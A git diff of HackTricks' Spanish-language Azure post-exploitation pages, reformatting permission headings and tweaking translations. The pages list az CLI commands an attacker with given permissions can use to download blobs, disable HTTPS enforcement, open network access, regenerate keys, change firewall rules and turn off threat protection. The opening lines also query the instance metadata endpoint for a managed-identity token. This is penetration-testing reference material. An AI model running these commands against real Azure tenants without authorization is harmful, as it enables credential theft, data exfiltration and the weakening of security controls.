```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index 269a7ca96..f1214815d 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -10,9 +10,9 @@ Para más información sobre el almacenamiento, consulta:
../az-services/az-storage.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
-Un principal con este permiso podrá **listar** los blobs (archivos) dentro de un contenedor y **descargar** los archivos que podrían contener **información sensible**.
+Un principal con este permiso podrá **listar** los blobs (archivos) dentro de un contenedor y **descargar** los archivos que pueden contener **información sensible**.
```bash
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
az storage blob list \
@@ -24,7 +24,7 @@ az storage blob download \
--container-name \
-n file.txt --auth-mode login
```
-### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
Un principal con este permiso podrá **escribir y sobrescribir archivos en contenedores**, lo que podría permitirle causar algún daño o incluso escalar privilegios (por ejemplo, sobrescribir algún código almacenado en un blob):
```bash
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
index 6cc6ef61e..91b35ae8b 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md
@@ -1,31 +1,25 @@
-# Az - CosmosDB Post Explotación
+# Az - CosmosDB Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
-## CosmosDB Post Explotación
+## CosmosDB Post Exploitation
Para más información sobre SQL Database consulta:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Con este permiso, puedes crear o actualizar cuentas de Azure Cosmos DB. Esto incluye modificar configuraciones a nivel de cuenta, agregar o eliminar regiones, cambiar niveles de consistencia y habilitar o deshabilitar características como escrituras en múltiples regiones.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name \
--resource-group \
--public-network-access ENABLED
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Con este permiso, puedes crear o modificar contenedores (colecciones) dentro de una base de datos SQL de una cuenta de Azure Cosmos DB. Los contenedores se utilizan para almacenar datos, y los cambios en ellos pueden afectar la estructura de la base de datos y los patrones de acceso.
-
-{% code overflow="wrap" %}
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name \
--ttl 3600
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
Con este permiso, puedes crear o modificar bases de datos SQL dentro de una cuenta de Azure Cosmos DB. Esto permite gestionar la estructura de la base de datos y agregar nuevas bases de datos a la cuenta. Si bien este permiso permite la creación de bases de datos, el uso indebido o no autorizado podría resultar en un consumo innecesario de recursos, costos incrementados o ineficiencias operativas.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
+### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
Con este permiso, puedes cambiar la prioridad de conmutación por error de las regiones para una cuenta de base de datos de Azure Cosmos DB. Esta acción determina el orden en el que las regiones se convierten en primarias durante un evento de conmutación por error. El uso inadecuado de este permiso puede interrumpir la alta disponibilidad de la base de datos o provocar impactos operativos no deseados.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb failover-priority-change \
--name \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
+### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
Con este permiso, puedes regenerar las claves primaria o secundaria para una cuenta de Azure Cosmos DB. Esto se utiliza típicamente para mejorar la seguridad al reemplazar claves antiguas, pero puede interrumpir el acceso a servicios o aplicaciones que dependen de las claves actuales.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
Con este permiso, puedes crear o modificar disparadores dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los disparadores te permiten ejecutar lógica del lado del servidor en respuesta a operaciones.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
-Con este permiso, puedes crear o modificar procedimientos almacenados dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los procedimientos almacenados en Cosmos DB son funciones de JavaScript del lado del servidor que te permiten encapsular lógica para procesar datos o realizar operaciones directamente dentro de la base de datos.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
+Con este permiso, puedes crear o modificar procedimientos almacenados dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los procedimientos almacenados en Cosmos DB son funciones de JavaScript del lado del servidor que te permiten encapsular la lógica para procesar datos o realizar operaciones directamente dentro de la base de datos.
```bash
az cosmosdb sql stored-procedure create \
--account-name \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
-Con este permiso, puedes crear o modificar triggers dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los triggers te permiten ejecutar lógica del lado del servidor en respuesta a operaciones como inserciones, actualizaciones o eliminaciones.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
+Con este permiso, puedes crear o modificar disparadores dentro de un contenedor de una base de datos SQL en una cuenta de Azure Cosmos DB. Los disparadores te permiten ejecutar lógica del lado del servidor en respuesta a operaciones como inserciones, actualizaciones o eliminaciones.
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
Con este permiso, puedes crear o modificar colecciones dentro de bases de datos MongoDB en una cuenta de Azure Cosmos DB. Las colecciones se utilizan para almacenar documentos y definir la estructura y particionamiento de los datos.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb collection create \
--account-name \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
Con este permiso, puedes crear nuevas bases de datos MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite aprovisionar nuevas bases de datos para almacenar y gestionar colecciones y documentos.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Con este permiso, puedes crear nuevas definiciones de roles de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite definir roles personalizados con permisos específicos para los usuarios de MongoDB.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
-Con este permiso, puedes crear nuevas definiciones de usuario de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite la provisión de usuarios con roles y niveles de acceso específicos a bases de datos de MongoDB.
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
+Con este permiso, puedes crear nuevas definiciones de usuario de MongoDB dentro de una cuenta de Azure Cosmos DB. Esto permite la provisión de usuarios con roles y niveles de acceso específicos a las bases de datos de MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
index f43d7cf5d..7472c138e 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
@@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
-Explotación posterior de File Share
+Explotación posterior a la compartición de archivos
-Para más información sobre file shares consulta:
+Para más información sobre las comparticiones de archivos, consulta:
{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
-Un principal con este permiso podrá **listar** los archivos dentro de un file share y **descargar** los archivos que podrían contener **información sensible**.
+Un principal con este permiso podrá **listar** los archivos dentro de una compartición de archivos y **descargar** los archivos que podrían contener **información sensible**.
```bash
# List files inside an azure file share
az storage file list \
@@ -28,7 +28,7 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
Un principal con este permiso podrá **escribir y sobrescribir archivos en comparticiones de archivos**, lo que podría permitirle causar algún daño o incluso escalar privilegios (por ejemplo, sobrescribir algún código almacenado en una compartición de archivos):
```bash
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
index cee785bce..e1cb93ea7 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -5,14 +5,12 @@
## Post Explotación de la Base de Datos de Logic Apps
Para más información sobre las aplicaciones lógicas, consulta:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Con estos permisos, puedes modificar los flujos de trabajo de Logic App y gestionar sus identidades. Específicamente, puedes asignar o eliminar identidades gestionadas asignadas por el sistema y por el usuario a los flujos de trabajo, lo que permite que la Logic App se autentique y acceda a otros recursos de Azure sin credenciales explícitas.
-
-{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
```
-{% endcode %}
-
-### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
-Con estos permisos, puedes crear o actualizar Logic Apps alojados en un App Service Plan. Esto incluye modificar configuraciones como habilitar o deshabilitar la aplicación de HTTPS.
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
+Con estos permisos, puedes crear o actualizar Logic Apps alojados en un App Service Plan. Esto incluye modificar configuraciones como habilitar o deshabilitar la aplicación forzada de HTTPS.
```bash
az logicapp update \
--resource-group \
--name \
--set httpsOnly=false
```
-{% endcode %}
-
-### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
-Con este permiso, puedes iniciar/detener/reiniciar una aplicación web, incluidas las Logic Apps alojadas en un App Service Plan. Esta acción asegura que una aplicación que fue detenida anteriormente se vuelva a poner en línea y reanude su funcionalidad. Esto puede interrumpir flujos de trabajo, activar operaciones no deseadas o causar tiempo de inactividad al iniciar, detener o reiniciar Logic Apps inesperadamente.
-
-{% code overflow="wrap" %}
+### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
+Con este permiso, puedes iniciar/detener/reiniciar una aplicación web, incluidas las Logic Apps alojadas en un App Service Plan. Esta acción asegura que una aplicación que fue detenida anteriormente se ponga en línea y reanude su funcionalidad. Esto puede interrumpir flujos de trabajo, activar operaciones no deseadas o causar tiempo de inactividad al iniciar, detener o reiniciar Logic Apps inesperadamente.
```bash
az webapp start/stop/restart \
--name \
--resource-group
```
-{% endcode %}
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
-
-### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
-
-Con este permiso, puedes configurar o modificar ajustes para aplicaciones web, incluyendo Logic Apps alojadas en un App Service Plan. Esto permite cambios en la configuración de la aplicación, cadenas de conexión, configuraciones de autenticación y más.
-
-{% code overflow="wrap" %}
+Con este permiso, puedes configurar o modificar ajustes para aplicaciones web, incluidas las Logic Apps alojadas en un App Service Plan. Esto permite cambios en la configuración de la aplicación, cadenas de conexión, configuraciones de autenticación y más.
```bash
az logicapp config appsettings set \
--name \
--resource-group \
--settings "="
```
-{% endcode %}
-
-### "Microsoft.Logic/integrationAccounts/write"
+### `Microsoft.Logic/integrationAccounts/write`
Con este permiso, puedes crear, actualizar o eliminar cuentas de integración de Azure Logic Apps. Esto incluye la gestión de configuraciones a nivel de cuenta de integración como mapas, esquemas, socios, acuerdos y más.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account create \
--resource-group \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku \
--state Enabled
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
Con este permiso, puedes crear o modificar configuraciones de lotes dentro de una cuenta de integración de Azure Logic Apps. Las configuraciones de lotes definen cómo Logic Apps procesan y agrupan los mensajes entrantes para el procesamiento por lotes.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
Con este permiso, puedes crear o modificar mapas dentro de una cuenta de integración de Azure Logic Apps. Los mapas se utilizan para transformar datos de un formato a otro, lo que permite una integración fluida entre diferentes sistemas y aplicaciones.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
Con este permiso, puedes crear o modificar socios en una cuenta de integración de Azure Logic Apps. Los socios representan entidades o sistemas que participan en flujos de trabajo de negocio a negocio (B2B).
-
-{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
Con este permiso, puedes crear o modificar sesiones dentro de una cuenta de integración de Azure Logic Apps. Las sesiones se utilizan en flujos de trabajo B2B para agrupar mensajes y rastrear transacciones relacionadas durante un período definido.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group \
@@ -147,8 +112,6 @@ az logic integration-account session create \
}
}'
```
-{% endcode %}
-
### "*/delete"
Con estos permisos puedes eliminar recursos relacionados con Azure Logic Apps
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
index b29223a8e..b3c5a647c 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -3,56 +3,42 @@
{{#include ../../../banners/hacktricks-training.md}}
## MySQL Database Post Exploitation
-Para más información sobre MySQL Database, consulta:
+Para más información sobre MySQL Database consulta:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de MySQL Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar al consumo de recursos o al posible uso indebido del servidor.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+### `Microsoft.DBforMySQL/flexibleServers/backups/write`
Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de MySQL Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
-### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
-
-Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de MySQL Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales.
-
-{% code overflow="wrap" %}
+Con este permiso, puedes configurar o actualizar la configuración de Advanced Threat Protection (ATP) para una instancia de MySQL Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales.
```bash
az mysql flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
+### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
Con este permiso, puedes crear o modificar reglas de firewall para una instancia de MySQL Flexible Server en Azure. Esto permite controlar qué direcciones IP o rangos pueden acceder al servidor. El uso no autorizado o inapropiado de este permiso podría exponer el servidor a accesos no deseados o maliciosos.
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
+### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
Con este permiso, puedes restablecer el GTID (Identificador Global de Transacción) para una instancia de MySQL Flexible Server en Azure. Restablecer el GTID invalidará todas las copias de seguridad automatizadas, bajo demanda y geo-copias de seguridad que se tomaron antes de la acción de restablecimiento. Después del restablecimiento del GTID, no podrás realizar PITR (restauración en un punto en el tiempo) utilizando el punto de restauración más rápido o mediante un punto de restauración personalizado si el tiempo de restauración seleccionado es anterior al tiempo de restablecimiento del GTID. Y la geo-restauración exitosa solo será posible después de 5 días.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group \
--gtid-set
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
-### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
-
-Con este permiso, puedes actualizar la configuración de un servidor MySQL Flexible en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos. Puedes actualizar los siguientes parámetros juntos en un lote: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors y max_connections.
-
-{% code overflow="wrap" %}
+Con este permiso, puedes actualizar la configuración de un servidor MySQL Flexible en Azure. Esto permite la personalización de parámetros del servidor, como la optimización del rendimiento, configuraciones de seguridad o ajustes operativos. Puedes actualizar los siguientes parámetros juntos en un lote: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, y max_connections.
```bash
az mysql flexible-server parameter set-batch \
--resource-group \
--server-name \
--args max_connections=
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Con este permiso, puedes asignar una identidad administrada asignada por el usuario a los servidores flexibles de MySQL.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/stop/action"
+### `Microsoft.DBforMySQL/flexibleServers/stop/action`
Con este permiso, puedes detener una instancia de PostgreSQL Flexible Server en Azure. Detener un servidor puede provocar una interrupción temporal del servicio, afectando a las aplicaciones y usuarios dependientes de la base de datos.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforMySQL/flexibleServers/start/action"
+### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name \
--resource-group
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
index 86e02f69e..608d7a07b 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -5,54 +5,40 @@
## PostgreSQL Database Post Exploitation
Para más información sobre PostgreSQL Database, consulta:
-{% content-ref url="../az-services/az-postgresql.md" %}
-[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-postgresql.md
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de Postgres Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar al consumo de recursos o al posible uso indebido del servidor.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
+### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
-### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
-
-Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de Postgres Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos.
-
-{% code overflow="wrap" %}
+Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de Postgres Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos.
```bash
az postgres flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de Postgres Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
Con este permiso, puedes crear o modificar reglas de firewall para una instancia de Postgres Flexible Server en Azure. Esto permite controlar qué direcciones IP o rangos pueden acceder al servidor. El uso no autorizado o inapropiado de este permiso podría exponer el servidor a accesos no deseados o maliciosos.
-
-{% code overflow="wrap" %}
```bash
# Create Rule
